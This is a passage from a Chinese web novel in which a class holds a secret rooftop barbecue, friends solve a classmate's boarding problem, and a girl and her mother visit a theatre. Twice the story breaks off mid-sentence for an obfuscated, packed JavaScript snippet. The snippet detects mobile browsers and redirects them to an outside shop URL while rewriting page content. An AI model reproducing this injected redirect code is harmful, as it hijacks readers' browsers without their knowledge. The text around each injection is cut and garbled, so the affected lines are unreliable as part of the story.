陈恕&林听:……心有戚戚。 * 因为明后两天要进行期末考试,所以今天周三这一天基本上都是自习课。 下课铃声才刚刚响起,一脸生无可恋的周嘉先便被许兰亭一把扯上了讲台上,而他则立刻溜到教室门口,做出侦查的样子,他在以防万一张扬突然回来。 这架势!!! 重点一班的同学顿时纷纷下意识地嘘声,示意身旁的同学安静下来! 这架势有些熟悉啊!是要搞事情的节奏吗? 是吗?是吗?! 众人激动的神情不言于表! 目睹这一切的陈恕:…… 果然,蒋文、王思、关宇三人压低嗓音急声道:“先哥!快说!我们要干嘛!” “是啊!先哥!您一声令下,我们就冲啊——” “嘿嘿嘿,搞事情搞事情!” 连班里自认为是小透明、乖学生的顾佳熹都忍不住偷偷期待起来。 张期期喊了一声,“先哥,别卖弯子了!” 周嘉先:……他是想卖弯子吗?他是想等这个放学的铃声响完啊!!不是……你们这么迫切想搞事情干什么啊!他周嘉先就这么不靠谱的吗? 讲台上的周嘉先表面一脸平静,实则内心抓狂,终于铃声响完了,他看着底下眼巴巴望着他的同学们,顿时一阵头疼,但还是不得不硬着头皮带着班上的同学挑战学校的威严,毕竟他已经上了贼船啊! 周嘉先清了清嗓子,又看了一眼教室门口的许兰亭,对方冲他比了个OK的手势,于是他点点头,道:“是这样……今天算是我们高二学习生涯的最后一天,所以大家中午一起聚个餐吧!” 之所以不选择在今天下午放学后聚餐,是因为放学后学校就要立即封闭,紧急布置考场,再加上有些同学大概会想在考试之前好好复习一下,所以下午到晚上的时间比较紧张。 “聚餐……好啊!我们去哪里吃啊?”雷婷第一个赞成。 侯蕊抱胸靠在椅背上,淡淡道,“学校附近好多餐馆因为高一高三的离开已经关门歇业了,所以可选择的也不多,就我知道现在还开的餐馆就容纳不了我们班41个人!” 这一点周嘉先自然考虑到了,也正是因为考虑到这一点,所以张期期、许兰亭提出在天台上面烧烤的提议他才勉为其难地答应了。 他们这栋教学楼占地面积非常大,一个顶楼足以容纳他们班41个人。 周嘉先内心长长地叹了一口气,认命道:“所以我们去顶楼天台上面烧烤吧!” 顶楼天台上面烧烤?? 众人:…… 顶楼天台上面烧烤!! 众人:…… “我去!不是吧!先哥你这么牛的吗?还得是你啊!” “公然挑衅学校的规章制度是吧?” “好啊!去啊!这种经历我们还没体验过呢!” “干他丫的!哦不……吃他丫的!!” …… 一群人哐哐哐地拍打着桌面,一副癫狂的样子,哪有“传说中”重点一班书呆子的刻板印象,这副场面周嘉先是越看越慌! 他连忙大声喊道:“等等!等等!都听我说!!” 教室内还是一阵嘈杂,有人已经在收拾桌面,合上书本,拔腿就想跑的样子,吓得周嘉先学着班主任张扬的样子,用力拍了拍桌面强力镇压这群人的癫狂。 当教室终于安静下来了,周嘉先心累道:“首先,你们要明确一点,我们只是聚个餐!不是你们说的什么挑衅校规!” “不是!不是!不是!听到没有!!”周嘉先突然开启狂暴模式,“我没有那个本事!” 啊这……众人尴尬地挠挠脸,你看看我,我看看你,啊……到底是谁把班长逼疯了…… 啊……反正不是我…… 也不是我啦…… 喊了一把之后,周嘉先满意地看着默默怂了的同学,开始条理清晰地讲话,“烤架、炭都已经在天台上面了,食材的话在食堂冰柜冻着呢!到时候蒋文、王思跟我、许兰亭一起去食堂拿就行。” 被周嘉先点到名的同学纷纷点头,表示会配合。 “那我和关宇、雷婷去买大瓶的可乐、椰汁、橙汁!还有一次性水杯、筷子、碗之类的吧?” 周嘉先点头,“好!” 张期期默默举手,“那先哥,我就带同学们分批次,悄悄地、偷偷地摸上顶楼?” 周嘉先看了林听、陈恕一眼,“好,林听、陈恕你们也跟着。” “分头行动吧!”周嘉先挥挥手示意同学们自行行动,“等会!我要强调一下,这次的聚餐行动,我们大声滴不要!喧哗滴不要!要悄悄滴,偷偷滴,清楚吗?” “清楚!收到!”众人异口同声。 陈恕:…… * 等周嘉先一行人拿来食材、侯蕊一行人买好饮料和一次性餐具来到顶楼天台时,张期期、陈恕、林听已经将烧烤架的炭烧起来了。 周嘉先看着顶楼的人数不接问道:“怎么就这么一些人,其他人呢?” 张期期抬眸,“他们说要去买水果、凉拌、雪糕什么的,觉得只吃烧烤太腻了。” 周嘉先:……行吧。 雷婷笑道:“那我们先烤一些,等他们回来就能吃了!” 其他人也开始忙碌起来,加炭的加炭,给鸡翅翻面的翻面,甚至还有人偷偷搬了张桌子上来,将茄子放在上面开始给切茄子,撒蒜蓉…… 才过了一会儿后,班里好几个女生抱着两个深蓝色的篷布跑上来,周嘉先眨了眨眼,“你们这是干什么?” 顾佳熹神色紧张,小声道:“我们去器材室把遮阳伞上面的篷布拆下来了,可、可以铺在这里,大家坐着吃……” 周嘉先:……人才啊! 张期期将烤好的一把牛肉串分给了顾佳熹和其他几个女生,她笑道:“哇……你们想得真周到!啊,这个给你们,快先吃!我和林听、陈恕来铺就好。” “哦……好,谢谢。”顾佳熹小声道,她小小的啃了一口牛肉串,牛肉串上面刺鼻的孜然味一下子充满她的口腔,她一不小心被呛了一下,“咳咳咳……好、好咸啊……” 张期期哈哈大笑,与此同时陈恕连忙倒了一杯橙汁递给她,“你喝一口,会好点。” 顾佳熹愣了一下,接过橙汁,“……好、谢谢……” 陈恕微微笑着点了点头走过去帮张期期散开蓝色篷布,林听和身旁的侯蕊说了一声,让她帮忙看着正在烤的鸡柳后,也跑过去帮忙了。 三人将五张蓝色篷布拼接铺在地上,可乐、橙汁、椰汁、一次性的餐具也放在上面,张期期招呼那边站着吃烤串的同学,“快过来!这儿可以坐着吃!” “哇~来了来~” “谁想出来的这方法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617878|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可真是个大聪明!” 顾佳熹突然出现在对方的身后,幽幽道:“你在骂我吗?” “不是!冤枉啊!我夸你啊,大聪明!” …… 陆陆续续地,刚才去买东西的同学也都回来了,一群人叫嚷着冲向其他人已经烤好放在一次性餐盘上的烧烤,“哇……回来就有得吃啦!” “谁烤的火腿居然还下蜂蜜?有点怪哦……” “有得吃就不错了,还挑!哈哈哈——” 一些人则是在篷布上将买来的凉拌、水果拼盘、甚至还有放在保冷盒子的雪糕摆在篷布上,周嘉先喊道:“想吃什么自己烤哈!” 周嘉先看着他身前的这个烧烤架,不怪他搬得上气不接下气,这个烧烤架真是够大的啊! “好咧!” 张期期精心烤好了几只鸡翅,刷了蜂蜜后,她递给林听、许兰亭和周嘉先一人一只,自己嘴里咬着一只,将另外一只拿给了忙得脸都红了的陈恕。 “陈恕,你让他们帮忙看一下,你先吃这个,我烤的哦……一点点焦黑都没有!”张期期将陈恕从人群中拉出来,递给了他一只鸡翅,“快吃!” 陈恕看了她一眼,再看了一眼鸡翅,小声问道:“熟了吗?” 张期期:…… 她瞪大眼睛怒道:“熟了!” 陈恕眼底闪过笑意,“谢谢期期。”他试探着咬了一口,甜滋滋的,外酥里嫩的,意料之外地还不错! 张期期得意地笑了,“还不错吧?在这之前我已经烤了好几次了,这是最成功的一次。”她咬了一口自己手上的鸡翅,“嘿,真好吃。” 另一边,蒋文从已经烤好堆积成一大盘的烧烤中挑了卖相还不错的鸡翅,他咬了一大口,“嗷……这谁烤的鸡翅,里面还是冻的,没熟啊!” 旁边人哈哈大笑。 张期期忍了忍,还是忍不住偷偷笑了,她小声道:“好像是我之前的实验品……” 陈恕:…… “好像是真的有点腻啊。”张期期被烧烤的烟熏了一会,这会儿突然有些吃不下了。 陈恕三两下将鸡翅吃完,将签子放在地上的垃圾袋里,道:“我去给你拿点水果。”他找了个一次性小碗,从水果拼盘里挑了几块梨子、苹果、西瓜,还有一种红皮白馕的水果。 张期期小口小口地咬着鸡翅,陈恕见状,“吃不下就不吃了,吃水果吧。” 张期期眼眸微转,突然眨眨眼,轻声道:“我手上拿着鸡翅,你喂我!” 陈恕一愣,诧异地望向她,又低头看了一眼她拿着鸡翅的一只手,张期期耍赖皮一样看了回去,然后她两只手一起拿着鸡翅。 陈恕:…… 张期期:“你喂我呗,你就拿签子戳给我吃呗!”她看着他有恃无恐。 头顶天际云卷云舒,阴天的夏风难得没有燥热,天台上一片压低嗓音的欢声笑语,从顶楼望出去,不远处是微微波粼粼的天鹅湖,假山伫立在湖水中间,白鹭低空飞过,一中的神兽鸭子嘎嘎嘎地叫个不停。 陈恕和张期期四目相对着,陈恕眼神渐渐动摇,张期期直接道:“叉一块梨子给我。” 少年眼帘微垂,伸手叉了一块梨子,送到她嘴边。 张期期笑眯眯地张口,将梨子吃掉,“我还要莲雾!” 莲雾…… 陈恕一滞,低头看着手掌心的小碗,这里只有一种他不认识的水果,就是红皮白囊的那种,这叫莲雾吗? 他还未反应过来时,张期期已经抢先叉了一块莲雾放在他嘴边,“张嘴!” 陈恕一愣,抿唇。 “张嘴呀!” 陈恕妥协,张嘴。 张期期立刻将莲雾放在他嘴里,将签子抽出来,“这个就是莲雾,京照这边很少有水果店卖莲雾,没想到他们居然买到了。” “好吃吗?” 陈恕咽下去后,低声道:“……很清甜。” “是吧?这是我最喜欢吃的水果,可是其他人都觉得不好吃,觉得没滋没味的。”张期期笑着道。 “不会。真的挺不错的。” …… 与此同时,另一边的许兰亭烤了又烤,烤了又烤,手心里已经攥着一大把了,旁边的王思问道:“兰亭,给我一条火腿呗。” 许兰亭继续烤着,冷漠道:“不给!” “别这么小气嘛!” “不给!” 侯蕊喝着可乐嘲笑道,“人家烤给林听吃的,你好意思要?” 王思:…… 确实吃了很多的林听微微红了脸,尴尬地左看看右看看,假装没有听见。 许兰亭低声凑过去,将烤好的一大把食物塞在林听的手里,道:“别管他们,你快吃吧。我再烤一些给他们吃,保证塞上他们的嘴。” 林听噗呲一声笑出来,“我吃不了那么多,你也吃。”她分给他一些。 “好。” …… 京照一中顶楼天台的四周有一米五高的围栏,重点一班的同学虽然在天台上烧烤,但他们都很自觉,不会走到边缘去,也没有在天台上面打闹追逐。 一群人笑呵呵地吃着、喝着、聊着,阴凉的风吹拂着,吹得吃饱喝足的一群人困倦不已,有的同学已经躺在蓝色篷布上眯着眼…… 周嘉先看着三三两两,或坐、或躺、或靠着其他同学的他们,露出了笑意,他望着在天际上徜徉的云朵,深吸一口气,笑着拍了拍手掌,“听我说,我们大家拍一张合照吧!” 张期期举手赞成,“好啊!我同意!” “大家呢?”周嘉先笑着问道。 躺在篷布上的同学瞬间仰卧起坐,“来就来!” …… 青春的夏风中,重点一班的同学推推搡搡地终于摆好了各自的姿势,周嘉先看着堪称群魔乱舞的场面,嘴角抽搐。 “雷婷,你这姿势……” 雷婷睨了他一眼,“你不知道吗?这是美少女战士,代表月亮消灭你的姿势……” 周嘉先:……啊很好很强很棒! “蒋文,你……?” 蒋文强烈安利,“武藏、小次郎反派经典语录时的招牌动作啊!啊,对了……我们还缺一只猫,先哥,你来扮演那只猫怎么样?” 周嘉先:……“滚”。 “哈哈哈——”众人维持着姿势大笑着,嗯……他们想以这个姿势拍照的决心很是坚定呢! 周嘉先简直无语,他看着一群人中间专门空出来的一个位置,嗯……应该是留给他的,他的一旁是张期期,张期期笑着靠在陈恕身边,另一旁是许兰亭,许兰亭比了个剪刀手的动作,而林听则是微笑着看向镜头。 搞半天,班里最刺头的几个人反而拍照最安分,周嘉先放心了,他喊道:“我按延迟十秒拍摄啊……” 他迅速按了一下,立刻跑回专门给他留的中间位置,一边喊着倒计时,“十、九、八……” 周嘉先已经站在了最中间的位置,与此同时,重点一班的同学纷纷倒数,“五、四、三、二、一……” “一!”周嘉先惊愕瞪大双眼! 站在周嘉先两旁的许兰亭、张期期同一瞬间将周嘉先的两手举到脑袋两侧,做出“喵~”的姿势,他的身后是蒋文和侯蕊扮演的“小次郎、武藏”的招牌动作。 身后是狂魔乱舞的场面,二次元、三次元夹杂在一起,每个人都笑着看向了镜头! 镜头在这一刻定格画面,再见!我们的高二!大家的高二!这一年有你们陪伴,无比幸运! …… 85. 第 85 章 - 期末考的这两天,京照市像个蒸笼一样闷热潮湿,头顶的太阳炙热无比,蝉虫尖锐地鸣叫着,盛大的夏天来临。 高二年级的学生考完最后一门科目出来后,被强烈的气温差距搞得心浮气躁。 张期期背着书包站在榕树下,百无聊赖地踢着落在地上的叶子,今日天热,却无风,她的额头上渗出细密的汗珠。 半响后,陈恕、林听、许兰亭还有周嘉先前前后后一起从教学楼B栋出来了,许兰亭远远招手喊道:“哎——期期,快过来!” 张期期抬眸望去,榕树下少年身姿挺拔,他就在不远处静静地看着她。 一想到暑假大概有将近一个月的时间见不到陈恕,张期期撇了撇嘴,显然有些不高兴,少女攥着书包的背带飞奔着越过许兰亭,跑到了陈恕身前。 被越过的许兰亭:…… 林听见状,则是偷偷笑了一声,周嘉先已经一副见怪不怪的神情了。 “陈恕——”少女拉长了尾音,仿佛在撒娇一样地喊着陈恕的名字,“怎么就我一个人和你们不同考场!” 陈恕垂眸望着神色不乐意,嘟嘟囔囔着的张期期,没有回答她这个问题,而是道:“已经考完了,我们走吧。” “那好吧!”张期期跑到陈恕的身侧,跟他紧挨着走。 陈恕:…… 他们走到停车棚的位置各自推了自己的自行车走出来,边走边随意地聊着,许兰亭:“你们暑假有什么打算吗?要不我们出去玩?去海边?” 他已经在心里盘算着家里有没有在海边的项目,像上次那个滑雪山庄的内测就非常不错。 林听摇了摇头,“暑假我会很忙的,我们很快就要升高三了,而高三学校一般都是强制住宿,到时候就没什么时间可以打工赚钱了,所以这个暑假我得好好赚钱。” 说到好好赚钱时,她看了一眼身旁的许兰亭,她还欠着许兰亭十几万呢!怎么可能还会出去玩,一想到这十几万,她心里不免有些压力。 一直跟在陈恕身侧的张期期闻言,突然皱起了眉头,“高三是要住宿,但是……林听,你也要吗?啊……不!我没有别的意思,我是想到你住宿的话,林奶奶一个人在家里会不会不安全啊!老人家要是有个什么事,没人在身边应该不太好。” 关于这一点,林听自然也在考虑,她道:“嗯,我有想到这一点,所以住不住宿我还没想好,如果可以的话,我大概还是会向学校申请走读吧!” 周嘉先皱起眉头,“林听,你要知道高三了,少上一节晚自修的课你都不知道错过了什么。” 说是晚自修,但其实高三晚上课的含金量并不逊色于白天,所以他其实不赞成林听晚自修不上的,这样的话她很容易会在第二天对不上老师讲的内容。 “嗯……”林听推着自行车,心情低落,她还欠了十几万,只有考上国内一流的大学,到时候毕业出来才有更大的能力去偿还这笔巨额的欠款,然而奶奶的身体健康和安全同样不容忽视。 此时的她陷入两难的境地,张期期、许兰亭、陈恕、周嘉先都沉默着没有开口,也各自在思考着能怎么解决这个问题。 气氛顿时异常沉闷,张期期咬了咬唇,直球道:“没关系,我们一起想想,总能有解决的办法的。” 主校道的旁边便是操场,操场阶梯观众台的后方是遮天蔽日的榕树,张期期提议道:“这里太热了,我们去观众台那儿,这件事必须解决好我们再回家!” 她一锤定音做了决定,要是让林听回家自己想,她生怕对方会一个人胡思乱想。 “好。”许兰亭沉声回答。 遇上麻烦或许难以抉择的事情,他不可能再放任林听一个人去面对,上次卖卵事件就差点没把他吓死。 林听微微垂下眼帘,声音低低地嗯了一声,她任由张期期挽着她的手臂带着她穿过操场,拉着她往最上面的台阶坐下。 “好!那么我们现在集思广益!有想法的可以提出来!”张期期道。 林听默默举起了手,刚才她突然灵光一闪,想到了一个办法,“其实我可以上完晚自修再回家。” 她的话音刚落,许兰亭、陈恕、周嘉先立刻皱起眉头,异口同声道:“不行!” 张期期左看看、右看看,怎么这三人突然这么默契了,于是她不甘示弱道:“我也觉得不行。” 许兰亭鼓了鼓脸,“高三的晚自修可是上到10点40分的,你要是上完晚自修再回家,按照你骑自行车的速度估计要十二点才回到家,十二点你一个女孩子绝对不行,不安全,我不同意。” 陈恕、周嘉先都点头附和。 被反驳后,林听垂下眼帘,低声呢喃:“那还能怎么办呢?” 许兰亭伸手按了按林听的手背,以示安抚,他提议道:“其实也可以……我跟林听一起走读好了,晚上我就送她回家先。” 林听猛然摇头,“我不能耽误你的时间,高三了,说时间就是分数也不为过。” 许兰亭气急,“反正我的学习成绩也没有多好,对我来说,那么一点点时间对我来说根本没多大的效果。” “不……” 眼看着林听、许兰亭就要吵起来,张期期将头上的丸子头揉得一团乱,她正要再揪头发时,一旁的陈恕默默伸手将那颗捆成丸子的头发盖在手心下,“别揪了……” 张期期抬眸望了他一眼,突然双眸一亮。 “怎么了?”陈恕道。 张期期连忙道:“你俩别推来推去的,我想到一个好办法了。” “什么好办法?” 张期期笑着道:“林听可以和陈恕一样选择租房子住啊,把林奶奶一起带过来。” 许兰亭皱起眉头,不太理解,“你在说什么,我怎么听不懂。” 其余人也都望着张期期,张期期:“我们学校不是有教师宿舍吗?教师宿舍是单人间,林听你可以和张老师说一说,申请和林奶奶一起住教师宿舍,我觉得张老师会帮你搞定的。” “教师宿舍那片地儿,也有我们学校退休的老教师在那里住,和林奶奶年纪差不多,林奶奶也有伴,不会太无聊。再者,教师宿舍的费用也不高,本来就是为学校的老师方便而建造的,所以……嗯……这就是我想的办法了。” 随着张期期的话语,林听的眼眸渐渐亮起,这确实是一个还不错的主意…… 她终于不再愁眉不展,真诚道:“期期,谢谢你,谢谢大家!”她目光扫过在场每一个人的脸庞。 陈恕想了想,“如果担心在学校没有收入的话还可以申请勤工俭学,我下学期高三也准备申请了,据我了解,学校大多是给我们在食堂帮忙打饭的岗位。” 林听笑着点点头,这样的话她即便没办法去校外兼职,校内也能有一份收入,这么想着,她躁动不安的心再次被平复下来。 张期期则是高兴地问道:“那……到时候我们去窗口打饭的时候遇上你们,你们可不要学食堂阿姨那样手抖啊!” 林听重重点头,“不会的!我一定给你打很多肉!” 张期期闻言,顿时开心地笑了起来,许兰亭白了她一眼,哼笑道,“你就知道吃!” “什么叫我就知道吃,刚才的办法还是我想出来的呢?” …… 风轻云淡,树影婆娑。 几个少年少女围坐在一起,立刻打电话给张扬,将这件事落实了下来,电话那头张扬告诉他们,这件事他会解决的,让林听放心过暑假。 “好耶!事情解决了。”张期期笑着道,“那我们回家吧。” “嗯。回家。”林听眼带笑意。 * 八月,暑假来临。 张期期自从放假起就一直泡在美术培训室,跟着那些走美术艺考的同学一起进行集训,夯实专业基础,这也是她最后一段时间能这么长时间地呆在美术室,做她想做的事情。 尽管培训室内很多同学都不理解她,不明白一个好好走文化课高考的人为什么也来掺合一脚美术的事情,但他们后来倒也没有精力再去关注别人的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13638854|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,每一个人都在全力以赴地朝着自己的目标前进。 又是上完一天的美术课,张期期在培训室内完成美术作业之后,已经是月上梢头了,她好一阵子没有回家陪父母吃晚饭了,这些天一直都是在商场里解决的。 回家之后,她收拾洗簌完,还要完成各科目的高考试卷,再进行查漏补缺,忙得天昏地暗的。 晚上十一点多,家里静悄悄的,张期期下楼冲了一杯高浓度的咖啡准备熬个夜将正在刷的数学题目做完之后再去睡觉。 她从厨房出来,小心翼翼地端着满满地一杯咖啡,昏暗的灯光下,张期期抬眸时,突然发现楼梯上方站着个黑影。 她吓了一跳,再抬眸时,发现是她妈。 “妈,你怎么站在这儿?”张期期有些惊讶,“十一点多了,你还不睡吗?”她妈妈明明晚上一到九点就睡美容觉的啊! 戚和风缓缓从楼梯上走下来,按开了走道处的灯光,暖黄色的光芒倾泄而下,她准确地看见了杯子里溢出来的咖啡落在了张期期的手上。 ……是刚刚被她吓了一跳之后,手一抖,杯子里的咖啡溢出来了吧? 戚和风皱起眉头,伸手接过张期期手中的杯子,将其放到桌子上,“烫到没有?” 张期期摇了摇头,“没有,我冲的水不是特别烫。”只是手上有些黏腻,她指尖捻了捻,跑去厨房洗了手后再出来。 再出来时,戚和风已经坐在了客厅的沙发上,张期期小步跑过去挨着对方坐下,“妈妈,你怎么还没睡?”她又再次问道,不知道是不是她想多了,总觉得她妈妈的状态有点奇怪。 “我在等你爸。”戚和风轻声道。 “啊??”张期期愣了一下,惊讶道:“我爸还没回来吗?” 她这些天早出晚归的,确实没有见到她爸,张期期反省了一下,这些天她早上出门的时候,她爸还没起床,她晚上回来的时候,错过了晚饭时间,她以为她爸吃完饭就在家里的书房了,由于他们住的不是同一层,所以有时候见不到面是正常的。 戚和风看着女儿眼眶下那浓重的黑眼圈,突然垂下了眼帘,片刻后她微微笑了笑,轻描淡写道,“嗯……可能是最近公司比较忙吧。” ……张世明最近这些天都没有回家吃晚饭,每天都是凌晨一两点的时候才回来,一回来就是满身的酒味。 她问过好几次,他都说是应酬、应酬!再多问下去,他就一脸不耐烦地说,和你说了你也不懂,别问了…… “这样啊……”张期期不满道:“再忙也不能那么晚才回来啊!爸真是的!” 戚和风笑了笑,这些天丈夫和女儿都忙,她一个人呆在这栋大房子里突然感受到空荡和孤单,明明十几年来她都是这么过的,但最近这些日子她总觉得世界格外地安静,好像他们都有自己的目标、自己的道路要走,只有她……不知道要做什么?不知道要去哪里? 张期期突然想起来一件事,“诶……妈,张阿姨的演出是什么时候啊?” 戚和风讶异地看了张期期一眼,“是明天。” 她试探着问,“期期难道还想去吗?” 张期期神色不解,歪着头眨了眨眼,“为什么不去?我都答应陪妈妈一起去了,肯定要去的啊,而且……我真的想了解一下妈妈以前是什么样的?” “我以为你最近这么忙,累得眼黑圈都那么重了,大概是不会想去了……”戚和风低声道。 张期期抱着对方的手臂,撒娇道:“那怎么可能!妈妈在我心里是最最重要的。” 窗外一轮圆月挂在天幕之上,浓云被风吹卷着掠过皎洁的圆月,月色下墨黑的树冠轻微摇摆着,戚和风微笑着收回视线,摸了摸张期期的发顶,“期期真是妈妈的宝贝。” 张期期开心又满足地笑着,“那妈妈明天我们几点出发啊?”她在心里琢磨着明天穿什么样的衣服才不会失礼。 “八点半出发。” 剧场是十点开始,她到时候还可以带女儿去后台看她们化舞台妆。 …… 86. 第 86 章 - 翌日,天蓝风燥,骄阳似火。 市中心大剧院的门口拉起了警戒线,穿着制服的保安身姿挺拔地站在门口两侧,不远处大剧院的工作人员也在指挥着交通。 京照市市中心大剧院是国家超一流的剧院,建筑科技感、造型感十足,满面的玻璃倒映着耀眼的阳光显得格外地刺眼闪耀。 这一次的戏曲舞台表演者都是国家一级的老师们出演的,所以一票难求,前来的观众也都是在这方面有涉及、有了解的人,或者是也从业余这一行,因此剧场门口人流、车流格外井然有序。 张家的汽车暂时停在了剧院的门口,戚和风、张期期从车上下来,今天她们母女都认真地打扮了一番。 戚和风穿着款式修身、设计简约的墨绿色长裙,丝绸质地使得裙子在光照下流光溢彩,她本身就皮肤白皙、面容美艳动人,因此墨绿色的长裙更加衬托她的肤色。耳朵上、脖子上都带着质地细腻的乳白色珍珠,显得她整个人温柔动人。 张期期则是一身短款的挂脖小黑裙,小黑裙腰身上点缀着一朵白色的山茶花,她将头发全部梳起,扎成一个丸子头,露出线条感迷人的后背。 母女两人皆是容貌出众,她们刚一下车,四周陆陆续续有人看过来。 “你们好,请问是戚女士,张小姐吗?”大剧院馆里突然跑出来一个约莫二十岁的男生,对方看了戚和风、张期期一眼,便试探着问道。 戚和风微笑着,“是。你是洁莉的学生吧?” “是的,老师说让我来接你们,她们还在化舞台表演妆,我带你们过去看看。” 洁莉……是张阿姨的名字,张期期满脸兴奋道:“好啊好啊!谢谢你啦。” 男生看了张期期一眼,突然红了脸,小声道:“不用谢。” 戚和风见状,眼眸微转,悄悄笑了笑,她的女儿期期年轻又漂亮,活力又开朗……男孩子见了她,可不得红着脸吗? — 大剧院门口附近,陈恕站在树下望着走进剧院里的张期期,她身边的女人应该是她的妈妈,她们就像夏日夜空中闪耀的星星一样,美丽绚烂却遥不可及。 托他视力的福,即便隔着几百米的距离,少女美丽高贵的模样依旧清晰可见,她穿着挂脖小黑裙透露出几分天真的性感。 陈恕看着她的身影消失在视野里,他抿了抿唇低头看着自己身前摆着的小摊子,简易的小桌面上摆放着戏剧手办、摆件、古风小扇子等等一系列和今天这场表演有关的小玩具。 没有哪一刻比此时更让陈恕清晰地感受到他们之间的差距,她穿着漂亮的礼服坐在演出厅里,吹着空调看着表演,身旁都是与她同个阶层的人们,而他……站在烈日下穿着耐脏的衣服在路边摆摊卖小玩具。 如此天差地别,他甚至怀疑起张期期到底喜欢他什么……他卑微、穷困带着满身的伤疤,就像泥泞中的脏污,她不该低下头来,不该站在他的身边,让他满身的风尘吹到她的衣襟上。 汽车的鸣笛声骤然响起,不知何时他的面前停了一辆黑色的汽车,后排的车窗缓缓摇下,陈恕嘴角挂起微笑道:“您好……请问是要看一看小玩偶吗?” 他刚说完,后排车窗摇下,露出陆向川的面容,陈恕一滞,嘴角的笑容顿时僵住了。 车里的陆向川穿着黑色的西服套装,打着领带,胸前别着精致的山茶花胸针,与张期期的礼服有着异曲同工之妙。 ……他们才是同一个世界的人。陈恕脑海里蓦然浮现这句话。 “我要那个穆桂英的手办。”陆向川瞥了一眼对方身前支起的小摊子。 陈恕抿了抿唇,将穆桂英的手办拿起来放在小袋子里,走到车窗前递给他,“89块。” 陆向川伸手接过,又从钱包里拿出100块塞到对方手里,“不用找了。” “王叔,开车。” …… 陈恕看着手中的一百块钱,扯了扯嘴角,将其放在书包里,他神色淡淡,并没有觉得被侮辱了,白得11块钱……能吃顿午饭呢! 嗯……要是有200块额度的钱的话,且对方手里钱的最小面额有200的话,他是不是能白得111块,陈恕自嘲地想着。 - 化妆室门口,男生轻轻敲了敲门,压着嗓子道:“师傅,戚女士、张小姐已经到了。” “快进来!快进来!”化妆室内传来难以抑制的激动喊声。 戚和风一听就知道是好友张洁莉的声音,看来她风风火火的性子还是一点没变啊。 男生推开化妆室的门,微笑着请她们进去。 化妆室宽敞明亮、空气流通、空调开得很低,所以并没有因为此时化妆室内忙碌的人很多就出现闷热的情况。 一眼望过去,化妆室内有正在给戏服熨烫的、有正在整理头饰的、还有在找表演工具的……每个人都很忙碌,忙碌到知道有人进来后,仅仅只是瞥了一眼就继续忙活手上的事情。 戚和风同样也打量了一眼这间化妆室,很快她的目光就注意到正在镜子前坐着被人化妆的张洁莉。 张洁莉挥了挥手,示意化妆师等会儿,她迅速起身,笑着往戚和风扑过来,给了她一个大大的拥抱,“小风!好久不见!哇~这么多年了,你还是这么漂亮啊——” “啊!这是期期吧?哇,期期长这么大了,也是个小美女呀!” 张期期眨了眨眼,笑着道:“张阿姨好!张阿姨也很漂亮!” 张洁莉噗嗤一声笑出来,她看了一眼镜子里已经化上舞台妆的自己,笑着道:“有眼光!” 戚和风嘴角带着笑意,眼神温柔又怀念地看着对方,“洁莉,宁泽、黄微她们几个呢?” 张洁莉拉了两张凳子,将戚和风、张期期坐下,又让人给她们两人倒了温水,这才笑着道:“她们几个好像结伴去厕所了吧……” 戚和风:…… ……啊,这么多年了,这几个人上厕所都要手拉手的行为还没有改变吗? 戚和风露出微妙的神情,张洁莉捧腹大笑,“是吧?这几个人真是的,都十几年了,我跟你说,她们一直这样!” 张期期:……好羡慕啊,十几年,当初手拉手上厕所的小伙伴十几年后依然如故,以后她和林听应该也是如此吧!还有陈恕、兰亭、先哥他们会是一辈子的好朋友! 这时,刚刚给张洁莉化妆的化妆师开口道,“老师……时间有点急,我们得继续化妆了。”她也不想打断张老师和朋友叙旧…… 戚和风赶紧道:“你不用招待我们,我们就在这看你化妆就行。” “好吧。”张洁莉继续做回了镜子前,任由化妆师继续在她脸上描绘着妆容。 没过一会儿,宁泽、黄微等人边推着玻璃门边道,“也不知道小风来了没?” 玻璃门刚一打开,几声惊喜地喊声此起彼伏,“小风,你来啦……” “天呐,我好久没见到你了……” “小风,真是你啊!” “……” 戚和风笑着起身迎过去,“是我,好久不见。” 张期期也跟着站起身,“阿姨们好,我是期期!” …… 戚和风和好友们聊起了天,张期期眼眸转来转去地打量着这间化妆室,和她想象中的完全不同。她以为会是电视上演的一样,拥挤的后台挤满要上台表演的演员、空间狭小、闷热,灯光昏暗,每个人都忙得跑来跑去的,但眼前的化妆室缺与之相反,每个人虽然忙碌但却井然有序。 她安静地坐在一边看着戚和风,此时此刻她看着对方脸上发自内心的笑容时,突然觉得好像她妈妈好多年没有这么开心过了。 张期期的目光在她妈妈的朋友脸上一一扫过,嗯……都是非常活泼、有活力的阿姨们呢! 噔噔噔—— 张期期背着的小挎包中突然传来了轻微的震动声,她打开手机看了下信息,唔……是向川啊! “妈妈,我先出去一下,向川也来了,我先去找他。你和阿姨们先聊着……” 张期期在戚和风耳边小声说道,戚和风微微点头后,她又和阿姨们说了一声之后离开了化妆室。 - 表演亭隔壁就是待客厅,待客厅里设置了甜品台、水果桌,饮料等等,这里的沙发上三三两两坐着正在交谈的人们。 张期期乍一眼望过去,在场的大部分都是中年人,还有几个头发花白、由年轻人搀扶着的老人家,所以她一眼就看见了单独坐在沙发上的、低着头把玩着手中玩具的陆向川。 她悄悄走过去坐在了他的对面,小声道:“向川……” 